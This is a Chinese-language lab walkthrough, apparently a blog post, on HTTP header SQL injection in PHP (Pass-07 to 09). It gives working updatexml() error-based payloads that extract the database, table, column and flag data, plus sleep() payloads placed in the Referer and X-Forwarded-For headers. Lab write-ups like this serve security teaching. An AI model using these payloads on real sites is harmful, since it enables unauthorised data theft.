HEAD注入原理
就是在传参的时候,将我们的数据构建在http头部。
超全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能强大。
常用的:
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。
Pass-07
1.首先判断是否存在head注入点
用BURP抓个包
![1cb375d2b5f13d56a478848c4b01b0e1.png](https://i-blog.csdnimg.cn/blog_migrate/fb121ad1c8b647d95106a98070be9ff0.png)
使用Modify Headers谷歌浏览器插件进行测试
如果回显错误说明存在head注入
![1dcaf7cfd348e07435a2b5225b953264.png](https://i-blog.csdnimg.cn/blog_migrate/d6101f976d65f36924660a1eb27fc764.png)
![609dc7858eca90a66c564c2a4a83ba75.png](https://i-blog.csdnimg.cn/blog_migrate/7e8a67a8df015607189459f07d603f56.png)
2.查询当前所在库的库名
使用updatexml()函数
‘ or updatexml(1,concat(0x7e,(select database())),1),1)#
![60805c9ff1f8ddd6f1a67375a07f25fd.png](https://i-blog.csdnimg.cn/blog_migrate/de13653688c3979bf063454d32c3c316.png)
![5493c99a58b892599cf34c77d9ced7f0.png](https://i-blog.csdnimg.cn/blog_migrate/a0eb44d2644c62f13ae1368043afe367.png)
3.查询表名
查询到表名
‘ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database())),1),1) #
![621701c45cae518719ec60e8c7ac22a2.png](https://i-blog.csdnimg.cn/blog_migrate/8da87d458547961e15545ad18bdb31a9.png)
4.查询字段名
‘ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’flag_head’)),1),1) #
![30e761d1088bc2e379973a9fa6afb8ec.png](https://i-blog.csdnimg.cn/blog_migrate/e519799b7a01217a538a5235cd34246f.png)
5.查询数据,拿到flag
‘ or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
![e68298892cf059b184a2462d5fba7341.png](https://i-blog.csdnimg.cn/blog_migrate/343ec585c1496d03514a80db9b8baf21.png)
不知道为啥 我提交后面两个不管用,提示flag错误(lll¬ω¬)
![00ef392b7af5156c9fb46b72d178ff01.png](https://i-blog.csdnimg.cn/blog_migrate/7ccfde7da730258fa9e9c135109283bf.png)
Pass-08
1.寻找head注入点
通过抓包,并修改referer: ‘ or sleep(5),1)
回显错误
![deb09a4180093cbad1ba5baa6de3b8ae.png](https://i-blog.csdnimg.cn/blog_migrate/5836dca29f73e3d57e01f5a65602c8b9.png)
判断出注入点在referer:
后续操作与前面一致
Pass-09
使用Modify headers插件添加X-Forwarded-For,插入' or sleep(5),1)
回显错误
![441497ab95da9883bed446cd98ba7beb.png](https://i-blog.csdnimg.cn/blog_migrate/6c0795bb5470f08fafe0bb4b978df34e.png)
确定存在注入点,后续操作与其他head注入一致